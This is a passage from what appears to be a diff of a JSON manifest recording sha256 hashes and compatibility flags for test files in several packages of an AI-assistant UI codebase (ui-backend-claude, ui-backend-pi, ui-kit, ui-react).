"packages/ui-backend-claude/tests/replayed-user-text.test.ts":{"sha256":"ededa43743917583c2331f4bbb9b50776c2c86dd997404d7bc841deebe11d82f","compatible":true}, - "packages/ui-backend-claude/tests/retained-policy.test.ts":{"sha256":"ba1d415713a8dec7f5684d4c5c8fd08507a7746d10bb5b228c7e333b112998a1","compatible":true}, - "packages/ui-backend-claude/tests/rtk-warning.test.ts":{"sha256":"9248da7958b4abfd6d4c93afa2835ee7f367c84b4b9f179aac7ccba7d8576f8d","compatible":true}, - "packages/ui-backend-claude/tests/runtime-probe.test.ts":{"sha256":"d04d88c47411bae0d98d5f3a58e663758afdc3cf7d1b2aefe0710f6a6bb2f49d","compatible":true}, - "packages/ui-backend-claude/tests/runtime-report.test.ts":{"sha256":"e61fdf6d4b96f314d37016c3ae6d200791ac08f6a8e7132373757cb3fb304c4c","compatible":true}, - "packages/ui-backend-claude/tests/sdk-host-relay.test.ts":{"sha256":"bc3aa1c2a6358477e024b7599c489e046034e14b65126453a9dc385cf7b76bb6","compatible":true}, - "packages/ui-backend-claude/tests/sdk-options-mcp.test.ts":{"sha256":"f2c25900a8adc1dd18e4742b02dc998c10432ce07f024a4c7ca1f3b3345e6285","compatible":true}, - "packages/ui-backend-claude/tests/sdk-options-snapshot.test.ts":{"sha256":"1fc69ca2256fcc883660f148d53de0fd9cda990ccc7011f72f446e1b8a2c2f63","compatible":true}, - "packages/ui-backend-claude/tests/sdk-options-units.test.ts":{"sha256":"52e610f302231f4aa834631b762758b60657e9eff500cb5a1dda1d1514b8410a","compatible":true}, - "packages/ui-backend-claude/tests/session-prompt.test.ts":{"sha256":"852ca03ad2d925d11ad74a263a4a4904c47c9b2fd02d10a6ffab690ed0abbfea","compatible":true}, - "packages/ui-backend-claude/tests/session-request-shape.test.ts":{"sha256":"bf2e3175dac3fe98e2dad93b403ea04035483cc077c1825482b5c5d49b066c39","compatible":true}, - "packages/ui-backend-claude/tests/shell-startup.test.ts":{"sha256":"e07b836ea1c52388e4d988e5d37dfe54dd218f676f21908793a82975189599e5","compatible":true}, - "packages/ui-backend-claude/tests/stable-roster-runtime.test.ts":{"sha256":"da267e9337a2d2cc1ecf8aab49cfb90bf0abc40da13387d1899d73a9b8c073e6","compatible":true}, - "packages/ui-backend-claude/tests/stable-roster.test.ts":{"sha256":"fcfbbb78d8403d116c26c4a9511656db993847fe7686d955f4c191ddd5b67e47","compatible":true}, - "packages/ui-backend-claude/tests/startup-observer.test.ts":{"sha256":"69aa86067f866a862f9c020086a34a166a25f40c406f21679afca5750b00a508","compatible":true}, - "packages/ui-backend-claude/tests/state-room-sdk-hook.test.ts":{"sha256":"e10dd62bdc1021c96ed969a2601b61c09dda113113f64d9f833968fea643840e","compatible":true}, - "packages/ui-backend-claude/tests/state-room-warning.test.ts":{"sha256":"3c0b5be568248a28b1e99f1882deb4bc71bd777c4f34b102df6b07465826214b","compatible":true}, - "packages/ui-backend-claude/tests/stream-adapter.test.ts":{"sha256":"c48ce5d4f99a79e00aa0d174f0b461a53dd6e4e8bb4ccf47e612bcf430944e99","compatible":true}, - "packages/ui-backend-claude/tests/subscription-billing.test.ts":{"sha256":"2c8a2ba47bef8b7ff97b97be45fb85987890bdc5d8c44a1c0b20977147f0ec91","compatible":true}, - "packages/ui-backend-claude/tests/subscription-gate.test.ts":{"sha256":"1b159597ebe2fdf240af5feb10d6d7f37027d6b731027417fe34f3ada492b0a5","compatible":true}, - "packages/ui-backend-claude/tests/subscription.test.ts":{"sha256":"11c2a096e82554f1609a3448e91643e27cbccbb951ac988b3efe06dd8b86d8f0","compatible":true}, - "packages/ui-backend-claude/tests/taint-note.test.ts":{"sha256":"0acc03261d545a04589a8b1682c3d10f68522fd672a7a7e3d56f864494f2b95b","compatible":true}, - "packages/ui-backend-claude/tests/terminal-cancellation.test.ts":{"sha256":"cbe95d4d8101db05235677b45628d7d145e4f009204fb3e4ff8ea7f462da3a0e","compatible":true}, - "packages/ui-backend-claude/tests/title-usage.test.ts":{"sha256":"99b19779c9f3f1fab4e4f2cbb91bc68a37bad0924dda7cbd5449b7103b0716bf","compatible":true}, - "packages/ui-backend-claude/tests/tool-execution-evidence.test.ts":{"sha256":"210f0d1fd653f06d09edeb861b5652d3900839d1af36601c7806a609280948f8","compatible":true}, - "packages/ui-backend-claude/tests/transcript-archive-event-loop.test.ts":{"sha256":"9f45d991945b3ec2395c2c160e6bc1f93aa1924996b65f8b51adc47a34158f0f","compatible":true}, - "packages/ui-backend-claude/tests/transcript-archive-lifecycle.test.ts":{"sha256":"dc30deb8366cdc826787d671bea7921965739dfdf440a680585d19d88cf23f58","compatible":true}, - "packages/ui-backend-claude/tests/transcript-archive.test.ts":{"sha256":"c6e0395503da8c2b4549c4796c2e4283007f7c2add22204ee8bdd9e3047aadeb","compatible":true}, - "packages/ui-backend-claude/tests/transcript-prefix.test.ts":{"sha256":"e3afb57e929e106ce4ba882f02cb55ef55865163bdddca198ce416f87ecd6a5a","compatible":true}, - "packages/ui-backend-claude/tests/turn-claim.test.ts":{"sha256":"abcc5ba87da814edde016508c67094d7ee0a9ec1649c6a95ee423f3dac3ad382","compatible":true}, - "packages/ui-backend-claude/tests/turn-units.test.ts":{"sha256":"4c0f10cff447dacc92383718540ef7222d7388c191e6b1818efad7b7b721a910","compatible":true}, - "packages/ui-backend-claude/tests/version-requirements.test.ts":{"sha256":"14c442970a848ad069785e6c7d4d6c3ac09552d2660f3280cabe6ff470c4431e","compatible":true}, - "packages/ui-backend-claude/tests/voice-posture-selection.test.ts":{"sha256":"289bd02676d66ba75f9070c8505f154512bae24c2224d17a5405ebd8945e7e3a","compatible":true}, - "packages/ui-backend-claude/tests/voice-posture.test.ts":{"sha256":"897b0abe97cb6e6d9db520332bc9e13ab577287c0524d99ffbcebfd22ac9e5b1","compatible":true}, - "packages/ui-backend-claude/tests/worker-cleanup.test.ts":{"sha256":"5515b34fee6aaa5a2ddebd2bda214ee47cc75d77eb92112f18c474142267144a","compatible":false}, - "packages/ui-backend-claude/tests/worker-event-loop.test.ts":{"sha256":"c2077414c0af0ea55531d98868e7178ac82f075117b03b2dcef8cbdac2c1b23d","compatible":true}, - "packages/ui-backend-claude/tests/worker-exhaustion.test.ts":{"sha256":"0c714ee3a539b96d214ef2c55009401d47270e01f568e4919b00d33b5273b9b3","compatible":true}, - "packages/ui-backend-claude/tests/worker-failure.test.ts":{"sha256":"39f85c0403b68cfa0de9eb80ccf5bbb75d51118748156d60e2a47ac1c3cb5d2d","compatible":true}, - "packages/ui-backend-claude/tests/worker-rtk.test.ts":{"sha256":"892ab9d35a623aa26e0903839e4f16bee681375bfd4580be2beaa80034e90a2b","compatible":true}, - "packages/ui-backend-claude/tests/worker-save-refused.test.ts":{"sha256":"bff281d996601b412199425b3dba7adb577efac238b65e9895d529f5ae12cce9","compatible":true}, - "packages/ui-backend-claude/tests/worker-state-budget.test.ts":{"sha256":"535bcadb2f49cdd9dfa9274a4cddb40f6c239ff2605b62504425fdf962e5187f","compatible":true}, - "packages/ui-backend-claude/tests/worker-state.test.ts":{"sha256":"1dfcf88c1e70aeaf6f730a24c2bcecc62c71ed056cd37d52f25175d224479492","compatible":true}, - "packages/ui-backend-claude/tests/worker-stdio-release.test.ts":{"sha256":"752bdd8e9e51e65aae404be91c17c4faef2c79c7ffdc5400ef9534e093bec190","compatible":true}, - "packages/ui-backend-claude/tests/worker.test.ts":{"sha256":"acc6e494f00855a8b76d8e5a4545b6c2437e596dd0da3a7a3b4205dbfabe2710","compatible":true}, - "packages/ui-backend-pi/tests/api-failure.test.ts":{"sha256":"5b45df349c35766b7b92fd8f089bea76f7b170a8b27889da1adfe464bfea4897","compatible":true}, - "packages/ui-backend-pi/tests/ask-user-brief.test.ts":{"sha256":"96d95e2759430d9f32f54222e564dbd6b94f113ffab507f339bab65ccaef558b","compatible":true}, - "packages/ui-backend-pi/tests/auth.test.ts":{"sha256":"2ed4eafc4e81623d269375ce4c966afe8bdb69ba6f591cdc05900c485fcb6ab5","compatible":true}, - "packages/ui-backend-pi/tests/autonomous-envelope.test.ts":{"sha256":"8ad18bbc0d47a0384d9663fa3b5083f04fa35dacd108f517a4b0c8e54d52cf1d","compatible":true}, - "packages/ui-backend-pi/tests/autonomous-provider-masks.test.ts":{"sha256":"5a044c4fe73f2c20039f6df5beb5506e35390e5cdd72044928253a0bbaf47d6c","compatible":true}, - "packages/ui-backend-pi/tests/autonomous-yield.test.ts":{"sha256":"1ba219953b61ef6a429437e593a84d73a8b16eb5a12e6a17085ed7cc7761c7ab","compatible":true}, - "packages/ui-backend-pi/tests/backend-contract.test.ts":{"sha256":"906a6ae6770ed510cc3d1813a011562d1b987e3f870598086e8a913c9c8c7a0d","compatible":true}, - "packages/ui-backend-pi/tests/backend.test.ts":{"sha256":"f6f41305b55b66efb0c22bcd1ea1465913796cf8b693acae33b1bc78cf3b0d12","compatible":true}, - "packages/ui-backend-pi/tests/brain-access-half-lives.test.ts":{"sha256":"390cf4686dee7265b9036a4cc18982c66fbdeb46a401512f8e931ee688f8aedf","compatible":true}, - "packages/ui-backend-pi/tests/brain-context-scope.test.ts":{"sha256":"7e72fcee726da6ce3eb73a241ac249e49e1d4e2faf9a119b27212a393db2babd","compatible":true}, - "packages/ui-backend-pi/tests/brain-context.test.ts":{"sha256":"cb518ec1c4475a5adfd9d3492fb2afe510d356b118c21063c3546f7f5226aafe","compatible":true}, - "packages/ui-backend-pi/tests/brain-graph.test.ts":{"sha256":"9af8e71dcccc94a68a886e583f73f42b55e36923a66059f6ac737baf375c3e3b","compatible":true}, - "packages/ui-backend-pi/tests/brain-read-many.test.ts":{"sha256":"40885787a6d4d311019b0fb4202a0d26a35c0dcd4c7c06495affeeb8892c019e","compatible":true}, - "packages/ui-backend-pi/tests/brain-read.test.ts":{"sha256":"8211b064679a8153676a7b55a4f8ebffc92a6221a4a6a946f60c58a4e2542587","compatible":true}, - "packages/ui-backend-pi/tests/brain-search-dates.test.ts":{"sha256":"7190adac3c8df37fe48844441509a9869bf334bbd56e3da764d1c45c108093e4","compatible":true}, - "packages/ui-backend-pi/tests/brain-search.test.ts":{"sha256":"e578ef84be851ad653bed40785e8b4c2fcae5b392e5ebb8750fad56373eda372","compatible":true}, - "packages/ui-backend-pi/tests/brain-update-bytes.test.ts":{"sha256":"11e13b2aba2f03f523b27b9ffd00fcd924cccfabc8f0e581c2be22fef510c9d9","compatible":true}, - "packages/ui-backend-pi/tests/catalog-models.test.ts":{"sha256":"87039ed5a7fedd171681c7dd556746ab6d7caf6819b1c2bb4a2497b429d40f91","compatible":true}, - "packages/ui-backend-pi/tests/characterization-history.test.ts":{"sha256":"fdd9ba13224425a1d7fa42556dc1a64fe6a20e33ff4b47dbfb90e4516e8134a0","compatible":true}, - "packages/ui-backend-pi/tests/characterization-stream-usage.test.ts":{"sha256":"e4576489bcf8aaf90bb229902fcfd544ff3deb69b3458372b2a4298b14a4ccee","compatible":true}, - "packages/ui-backend-pi/tests/completed-response-usage.test.ts":{"sha256":"1537c602124baf553351488d10c81e24cbac6096c0faed5bb84bbfe688030f98","compatible":true}, - "packages/ui-backend-pi/tests/concurrency.test.ts":{"sha256":"ef0f24226dc78c3b0f2636bfb10370fc552f9f170e56fa7916b55cbb1f67ad37","compatible":true}, - "packages/ui-backend-pi/tests/confirm-bash.test.ts":{"sha256":"5f517effde4cbeb3b6e281d0a104b28cab5b5dd1835ec77e48f617ec6550c416","compatible":true}, - "packages/ui-backend-pi/tests/direct-application-replay.test.ts":{"sha256":"9e4807a16321ded3798d166979303aa31920757b62190732603599c0f1caec64","compatible":true}, - "packages/ui-backend-pi/tests/duplicate-acquisition.test.ts":{"sha256":"e0b93be2d0224c44a824e2fe88ea9f6241a5a02dc649992b3794920267293daf","compatible":true}, - "packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts":{"sha256":"70356dfca493613437d3a01085894230153f005225281c28fb0a23859188f608","compatible":true}, - "packages/ui-backend-pi/tests/effort.test.ts":{"sha256":"79964f65c039ace29b3107b9fe7da51bcb12f4b894904ac17da840fc22e30b96","compatible":true}, - "packages/ui-backend-pi/tests/event-mapping.test.ts":{"sha256":"591ea7709db22bb8648cd12e994350d4cdad1c2f2ae79b7d38d0e1739d040a74","compatible":true}, - "packages/ui-backend-pi/tests/exec-wrapper.test.ts":{"sha256":"aff96e8ecd2cc8f2c105b3c72be224629f7861e3a9fbaf030df0f8bed7de556b","compatible":true}, - "packages/ui-backend-pi/tests/extension-inspection.test.ts":{"sha256":"d666c613088c230192a6dec381472b11dcb156e4eff358a4f80e23e9873e1155","compatible":true}, - "packages/ui-backend-pi/tests/github-tools-brief.test.ts":{"sha256":"1d441d5df9b799a462eadc652709fb2e7a7c41f30470ef148dfaf15735dcc038","compatible":true}, - "packages/ui-backend-pi/tests/github-tools.test.ts":{"sha256":"d303594294fe7e46db980379cf252ebfad7c85ff0fbf773558ae781e0682c36e","compatible":true}, - "packages/ui-backend-pi/tests/grant-surface-posture.test.ts":{"sha256":"a73132b456f8debbc28fe7be3606e64cfb28748966f332513fd7ab095d455dec","compatible":true}, - "packages/ui-backend-pi/tests/helpers.test.ts":{"sha256":"1e3aa29ded928139da9059ab6531519a38b2865e9831cd633303347b9fe42ab7","compatible":true}, - "packages/ui-backend-pi/tests/history.test.ts":{"sha256":"fe41b544c1318dbb699c1b8086401bd46e402fd24f674b8334f43c5a3a796c07","compatible":true}, - "packages/ui-backend-pi/tests/host-relay.test.ts":{"sha256":"54c2dbb07d6eedd5f1e74fcde0969561ec625dc2af75f876791fcb55ded228d5","compatible":true}, - "packages/ui-backend-pi/tests/index-query-adapters.test.ts":{"sha256":"f87277a3f5f0d372cec23d2a81a52cd9a885a59be73cacd90bc61686bd763646","compatible":true}, - "packages/ui-backend-pi/tests/index-query-tools.test.ts":{"sha256":"837819af990802d241a1165898410497c1f87d0a786a245f4401a7e35e65dbac","compatible":true}, - "packages/ui-backend-pi/tests/maintenance-module-plumbing.test.ts":{"sha256":"0705c8b697c03234db8cd81969b8d1a2deb5ba6159f2377307959299fa19043f","compatible":true}, - "packages/ui-backend-pi/tests/module.test.ts":{"sha256":"e4078a0e80aac178ec714df3404a584de11da953ce81fe7ceb8e559f3772daac","compatible":true}, - "packages/ui-backend-pi/tests/native-acquisition-cancellation.test.ts":{"sha256":"daebd5ca0fb7065715d002e0938d21ab00974877c3c0d3b63349f986c58bf653","compatible":true}, - "packages/ui-backend-pi/tests/native-history-removal.test.ts":{"sha256":"2c9c61ece2598d41c1c3557448ca191593c851e9b0573699d9a07478319b37a1","compatible":true}, - "packages/ui-backend-pi/tests/native-host-auth-qualification.test.ts":{"sha256":"da616b821a5e72966dd37c1b95e7543963c79f81b1dc9347638bb427a70b99c9","compatible":false}, - "packages/ui-backend-pi/tests/native-session-versions.test.ts":{"sha256":"951f3c389eb8c919daa58c3bbbb44e4a6a58687906d2fc2dffb6d90ddda19c18","compatible":true}, - "packages/ui-backend-pi/tests/outward-actions.test.ts":{"sha256":"86f0aa65ce236769f64ea6da39992916e6bbedcb66582a8136c2cec60eca755e","compatible":true}, - "packages/ui-backend-pi/tests/overview-discovery.test.ts":{"sha256":"1181b8918d9087a1d0bc81123d99cfa54714884c8bf5dff1923e8d5fbcde2e97","compatible":true}, - "packages/ui-backend-pi/tests/policy-commands.test.ts":{"sha256":"0ba9dae3f2c72a3c4c9e9caec7ebee88220930a362de562150295a7a4e7b90b1","compatible":true}, - "packages/ui-backend-pi/tests/policy-membership.test.ts":{"sha256":"8688e74aa107e65ef01d9d3b5f205e05523f67d8610764baafc982f9e593a5be","compatible":true}, - "packages/ui-backend-pi/tests/provider-history-apify.test.ts":{"sha256":"ab1727f6aaf327816de34392efc8076fbfa33ebb0fceb9fa897f382e7416120e","compatible":true}, - "packages/ui-backend-pi/tests/provider-history.test.ts":{"sha256":"a3a706d56862c25aabb6e91684b9a4a078c3ee6dde79345aa9798b6a53276577","compatible":true}, - "packages/ui-backend-pi/tests/read-attachment.test.ts":{"sha256":"4a1be9de8bd1bdf5c16367f5017df6811a61ce24fc771ae896830d695b82e8d1","compatible":true}, - "packages/ui-backend-pi/tests/read-base-worker.test.ts":{"sha256":"22991f2e815898b0d8f449b059bf60e4c59b9dc7c90a4f280025fb05e91a4b26","compatible":true}, - "packages/ui-backend-pi/tests/replayed-user-text.test.ts":{"sha256":"0c420c7571ec78f5c233254d21d2e10f36b8e823aeae90a8586f6ff3f7190128","compatible":true}, - "packages/ui-backend-pi/tests/rtk-warning.test.ts":{"sha256":"0ce25913562a461d46532617e64d414be7b5e2a115a1b46b37351a5168725a80","compatible":true}, - "packages/ui-backend-pi/tests/session-prompt.test.ts":{"sha256":"a51279566aa2dbecf3499eb1deb36fa46dcc554414c448dc42c2e45b0dba0d35","compatible":true}, - "packages/ui-backend-pi/tests/session-storage.test.ts":{"sha256":"330ebd4611bf6e3496a47e1543db6a0b990746940e46f5b2937f871e18cf8e93","compatible":true}, - "packages/ui-backend-pi/tests/stable-roster-runtime.test.ts":{"sha256":"18646a2e68e02e3e47425032db61666a5e64113400f5f963aeabe4223a40a604","compatible":true}, - "packages/ui-backend-pi/tests/stable-roster.test.ts":{"sha256":"aed15ae92ca2b25fa2530a0155b4ba289cba96efadfbeb86ff905277a34ce551","compatible":true}, - "packages/ui-backend-pi/tests/startup-runtime.test.ts":{"sha256":"18213abd9aca5231434879a7ccbd49545a7651498960ce5b2d36b5dbc6a25675","compatible":true}, - "packages/ui-backend-pi/tests/startup-timing.test.ts":{"sha256":"bdea2a04529b94be934be386636d5a5eec38bfba40f1206748226cc32e0c07da","compatible":true}, - "packages/ui-backend-pi/tests/subprocess-env.test.ts":{"sha256":"68a5ea9f7f02252aec6f902cd9c6a107972b133759dbec5b30500bf163fdf03b","compatible":true}, - "packages/ui-backend-pi/tests/tool-execution-evidence.test.ts":{"sha256":"deef8604b7580bb167229926f52e08ea43785528056bfaf6e2b3bf34c37d1442","compatible":true}, - "packages/ui-backend-pi/tests/tool-factories.test.ts":{"sha256":"7ae44ac332bb6a0050b97ac89f46945318e46391f3c72b3395abd5e3c8590690","compatible":true}, - "packages/ui-backend-pi/tests/tool-roster-snapshot.test.ts":{"sha256":"97afa0a89a5f4c784fe181b1864657bb826698bd9b3bc7f010c0c2c153b898cf","compatible":true}, - "packages/ui-backend-pi/tests/tools-permission.test.ts":{"sha256":"d786d95056917ef2dc91aa31457d8e0e7df2c72aed97dcfce190db0594ee6191","compatible":true}, - "packages/ui-backend-pi/tests/transcript-prefix.test.ts":{"sha256":"450d7ae29e3e25163081e155ad42a183242f1e9d2359c360f5d6514f926c8b05","compatible":true}, - "packages/ui-backend-pi/tests/update-archive-relevance.test.ts":{"sha256":"d0e5d59b024800d61c57a38c4c6c7df9ba46ed282f62b3aff22c7066c899cdd6","compatible":true}, - "packages/ui-backend-pi/tests/version-requirements.test.ts":{"sha256":"aee47cb280b040f572c08937cae9db6846420b20f5a7101ba0f454079214e019","compatible":true}, - "packages/ui-backend-pi/tests/web-credential-guard.test.ts":{"sha256":"477dfe71e5b6a0316fa1cfb2c540c7240d9a561eadb9f88ecfdcc162ad90a9d4","compatible":true}, - "packages/ui-backend-pi/tests/web-executor-egress.test.ts":{"sha256":"44a762ae90ffc4e0732b6d6fd693d823fc31728474061456290e202a60cbc575","compatible":true}, - "packages/ui-backend-pi/tests/web-executor.test.ts":{"sha256":"40cb4006845b3a3e76b7cffdede93cd0b739446353a02912000e40375a667fee","compatible":true}, - "packages/ui-backend-pi/tests/web-model-scope.test.ts":{"sha256":"99bf4c100095e8ef18f8413d1bb91797d315813c4218d642edcf7a0edc006f24","compatible":true}, - "packages/ui-backend-pi/tests/web-tools.test.ts":{"sha256":"21975bf90fbebec7cd2c9c61cc2a8daab11c9c57828654e8feafcb38f7618b57","compatible":true}, - "packages/ui-backend-pi/tests/worker-cli-path.test.ts":{"sha256":"21db974f444b9037f3b31f0d24da02e160b3f414d44f9688c929fb50f2c86f3c","compatible":true}, - "packages/ui-backend-pi/tests/worker-host-exec.test.ts":{"sha256":"c912cb50c2d8da57746d0363b1fb02516b0b42f918e77a6f476f06dbdbb4c532","compatible":true}, - "packages/ui-backend-pi/tests/worker-rpc.test.ts":{"sha256":"2a4705c5a7cbb9a2c723e1e1be75328b1d4f774667fc2d263a80389ef0747c17","compatible":true}, - "packages/ui-backend-pi/tests/worker-session-units.test.ts":{"sha256":"c9ce31fcbb22ed07625a2e58248de721d945c0e4c98b34a5f4e7edc1724fb065","compatible":true}, - "packages/ui-backend-pi/tests/worker-session.test.ts":{"sha256":"1452929ddedf4ee6e5e46c7170efaddb838f11ff4254df5d82357297d98570b7","compatible":true}, - "packages/ui-backend-pi/tests/worker-snapshot.test.ts":{"sha256":"55012db4a1535e24bda32fff4f2c5c38a52de36f0dd5ffd4505a28d7440eef3b","compatible":true}, - "packages/ui-backend-pi/tests/worker-stdio-release.test.ts":{"sha256":"031579efa095e12bbf6651368aa1d4925736d82e93fa625d438644421a31aeb9","compatible":true}, - "packages/ui-kit/tests/agentorbit-placement.test.tsx":{"sha256":"302af6222e54c2bee202eb528d815c6f967bb7d11b66b6496890826a5f97db4b","compatible":true}, - "packages/ui-kit/tests/agentorbit-state.test.tsx":{"sha256":"de915c9f492e3763009e8bbe816a0db0d49c82e88e2399d7d578e1bc1053e7e4","compatible":true}, - "packages/ui-kit/tests/brand-assets.test.ts":{"sha256":"470f19d8667bc1b9b57f77ed33b2f84dd965c0b25543119f0467ed2624bd7c3c","compatible":true}, - "packages/ui-kit/tests/brand-mark.test.tsx":{"sha256":"74310727b6c29868263f21dc78abf09ce5e7698ad5d1891a5ac399e240bde25a","compatible":true}, - "packages/ui-kit/tests/brand-rasters.test.ts":{"sha256":"a15035a8f6307a7d17bb23b9e45abe7fc9c7e8b64ccf70dceca2bed400af864e","compatible":true}, - "packages/ui-kit/tests/canvas-palette.test.ts":{"sha256":"7b1a4e2c41285f84fd7474f269259990fb76956a791a1c815e8c7bbbaebea451","compatible":true}, - "packages/ui-kit/tests/composer-attach-tip.test.tsx":{"sha256":"f3c232c8aea31324156d4daebece6f6b42871bc78db9bdb5a18310d4c4b2540d","compatible":true}, - "packages/ui-kit/tests/composer-mic-control-toggle.test.tsx":{"sha256":"1d51ef476043eea9ad2e58671a8a7657460e599f9ebd1966676ca6978393516d","compatible":true}, - "packages/ui-kit/tests/composer-mic-control.test.tsx":{"sha256":"b537fdbb30d6d727b46dcc2e707fff7fee9271ab14c619dc7fdf2643f47c9ec3","compatible":true}, - "packages/ui-kit/tests/composer-mic.test.tsx":{"sha256":"83fdf8637d26734a6a5837380c6f8792a250538a84ae65cdce1cbe02f51515a7","compatible":true}, - "packages/ui-kit/tests/composer-sizing.test.tsx":{"sha256":"d63c47db0dd1d4fbce2a7a0feec909f64fa27ea1dedc12a492015a324a7e939c","compatible":true}, - "packages/ui-kit/tests/composer-status.test.tsx":{"sha256":"a8735bba840272755d8aa8bc360e299ec7e14de4d324f385f4a25dd5a6bc3837","compatible":true}, - "packages/ui-kit/tests/contrast-colors.test.ts":{"sha256":"c3f5429b107df227bff4fc823646d80de7cbb30c9b9857c3a5878370c53ca029","compatible":true}, - "packages/ui-kit/tests/contrast.test.ts":{"sha256":"1d71a8e7defe68f0c7b82d0866824d1d2c8f4812d36fb2b695675306ad1ab287","compatible":true}, - "packages/ui-kit/tests/empty-state-meta.test.tsx":{"sha256":"31f2246e079bdf0fc1b886094e9814734ca0578bfa6146dbc745dee3db61467e","compatible":true}, - "packages/ui-kit/tests/fixtures.test.ts":{"sha256":"a22720f85df4ae2f7a4aec4321a34e29b442cd9a79336abff3a561b0f3225abe","compatible":true}, - "packages/ui-kit/tests/geo-closure-probes.test.tsx":{"sha256":"a0571c0b1a05a24db982868553bce737208e80bcd89615e380d6065ba09801e0","compatible":true}, - "packages/ui-kit/tests/geo-fixtures.test.ts":{"sha256":"31e8dba98b4ab2590f2774d127d57004c2d46213bbeb52da1bc454f279b90afa","compatible":true}, - "packages/ui-kit/tests/ghost-text.test.tsx":{"sha256":"73c2c7a1438cf845c58d251c8a071d694efa5246d983da46a8e8844828e71075","compatible":true}, - "packages/ui-kit/tests/github-draft-body.test.tsx":{"sha256":"c47458562b270081d131608009b9b5b37ccc2fffb0572e8cb6f81b3625adaae4","compatible":true}, - "packages/ui-kit/tests/github-neutral-states.test.tsx":{"sha256":"2e5ca9cbe2b35b764db5f92b7ca33705929596202c4d87151ae6d825849c60be","compatible":true}, - "packages/ui-kit/tests/hygiene-card-copy.test.tsx":{"sha256":"55d17e507beeaa76ac2d85e7cd889500d39423f9b7ab0fa7a89e5bf17268749b","compatible":true}, - "packages/ui-kit/tests/icon-map.test.ts":{"sha256":"bcb9a1736d8b1109793e00207c5da35264103ac4b9c96b17c9626519e018a08e","compatible":true}, - "packages/ui-kit/tests/inert-outside.test.ts":{"sha256":"c203ab3b6c09a2b35b7c5ec3d0925085859a88284dea70092cb0eea2d16716e3","compatible":true}, - "packages/ui-kit/tests/layers.test.ts":{"sha256":"12735b42bf82bb983c6c6adac1e1358acf4e11a413784e6a886b28fb8c0e7b08","compatible":true}, - "packages/ui-kit/tests/library.test.ts":{"sha256":"87e49ee5b63c06e0b34ec382851142b844b83fd82a41b190f9448aad2ebf326c","compatible":true}, - "packages/ui-kit/tests/light-theme.test.ts":{"sha256":"f539ced1a5a8ee5f3b87ab8e1e2e3ab09dc5e47b42ebc838a76b9f40f352f932","compatible":true}, - "packages/ui-kit/tests/link-card.test.tsx":{"sha256":"952117b567d32355268dcff17d543f43f9e4e3bbb24ad1d7286b7a5422bb141e","compatible":true}, - "packages/ui-kit/tests/links.test.ts":{"sha256":"477a5dc912eb6916c4ef966b1f9fb79aff424451b9a7e05097fe4f3f54cd11d0","compatible":true}, - "packages/ui-kit/tests/mapview-projection.test.tsx":{"sha256":"c633b96cfce6a78668fe5c913737a5138be9a9c861b288d8ad783405b41a83ac","compatible":true}, - "packages/ui-kit/tests/markup.test.tsx":{"sha256":"f7ba7e7cd1178442b8d0a502ef82f279e398575c7b66ca8b8587e02463e85826","compatible":true}, - "packages/ui-kit/tests/overlay-stack.test.ts":{"sha256":"0122ac7850f72cab7f8b324cd04248f679ae58532bbd3e8844ca9fa57b6a5842","compatible":true}, - "packages/ui-kit/tests/overlay.test.tsx":{"sha256":"0fa39b1975163ef33c4fa8055b9b75f0da73c1dc2ccadeb35d3c8e2607b57f0b","compatible":true}, - "packages/ui-kit/tests/pending-follow-ups.test.tsx":{"sha256":"09a0daca00f28cf2ab478b791a162c2fe2fe9a1230352c1b0229a9b7edae2ce0","compatible":true}, - "packages/ui-kit/tests/place-map.test.tsx":{"sha256":"4ce03d4db5f37e9f239b06a87e65425498af7c9c95932760835beeb56b9b7edb","compatible":true}, - "packages/ui-kit/tests/print-theme.test.ts":{"sha256":"56d057aaeb165b97c2cc70a5fc7b1a3c23f9c67c53fc632b1170350df2c6a037","compatible":true}, - "packages/ui-kit/tests/recording-row.test.tsx":{"sha256":"e579df2766725b307792d1008919d08c2325ca9189524e9b091ddc845028b22b","compatible":true}, - "packages/ui-kit/tests/screens-are-assembly.test.ts":{"sha256":"c7e95d441ca1c9249475e15eb777b9bb29646d6e5876c2a6b00d9b1ec64c8b7b","compatible":true}, - "packages/ui-kit/tests/session-strip.test.tsx":{"sha256":"8ce87a82fdd8a85d8d97dfa3364eb3e75894f9be2ecd1aaa86cdb6ae4a96e5ae","compatible":true}, - "packages/ui-kit/tests/spoken-turn-details.test.tsx":{"sha256":"5024fc66331014e9e554741e5b80a04b9880e860c13aa1576aa887f974bc004c","compatible":true}, - "packages/ui-kit/tests/status-indicator.test.tsx":{"sha256":"a00f4f2bb5e1d939e044addc086336e79884ef69196cacf5771742e0d47baae8","compatible":true}, - "packages/ui-kit/tests/theme-tokens.test.ts":{"sha256":"2961b028e86cc6177b86974a6689c6d1ede9b8d6c393b5ad72eb6d83306990d9","compatible":true}, - "packages/ui-kit/tests/tokens-match-theme.test.ts":{"sha256":"864e2b5daa69f4a59585ffef0ff70f3daefb99031b50e26100a923672251988b","compatible":true}, - "packages/ui-kit/tests/tone-cue-blocks.test.tsx":{"sha256":"9b1e4007616d3e36d7d57ad5b1a072313dc8eb10f6976806354120b094a98d69","compatible":true}, - "packages/ui-kit/tests/tone-cue.test.ts":{"sha256":"6101c125155ccf157eedbc02a5973896ace645fe71cb3639a0efcf2a05023961","compatible":true}, - "packages/ui-kit/tests/tracker-pills.test.tsx":{"sha256":"391e7fb01a8249b4014fafdb703c7fde1302bdd937975f25722393e12dcbd96d","compatible":true}, - "packages/ui-kit/tests/transcript-qualifiers.test.tsx":{"sha256":"796d89aea58526c966de836d4c548b2617a1592438afad10598e8867e0f4d363","compatible":true}, - "packages/ui-kit/tests/undeclared-tokens.test.ts":{"sha256":"3804cdbea789e2c758a831d407b7f56be2cb78b5f878c1bec6c55ae53792d662","compatible":true}, - "packages/ui-kit/tests/untrusted-text.test.tsx":{"sha256":"5723ec11a420eb3535b899e82080e13e8c46b6cf611153cf75b052278dae8e1c","compatible":true}, - "packages/ui-kit/tests/voice-contrast.test.ts":{"sha256":"fc10dc85cdc40f95754327fb41db76c9b1899a8230eb715d90b4961b628a6c50","compatible":true}, - "packages/ui-react/tests/activity-report.test.ts":{"sha256":"0f58491dad02f836aa93d34614b89be4ef18f02e98dda47e90a9592f5b649e26","compatible":true}, - "packages/ui-react/tests/activity-store.test.ts":{"sha256":"fc60822bcadc84d566f7e90b81b1ca757575157736de5c56da9b7b31cc3a880a","compatible":true}, - "packages/ui-react/tests/answer-delivery-runtime.test.ts":{"sha256":"26a38639ef033a10bf5c0bba11f6c106307520a19a14c9edd906d155493777d8","compatible":true}, - 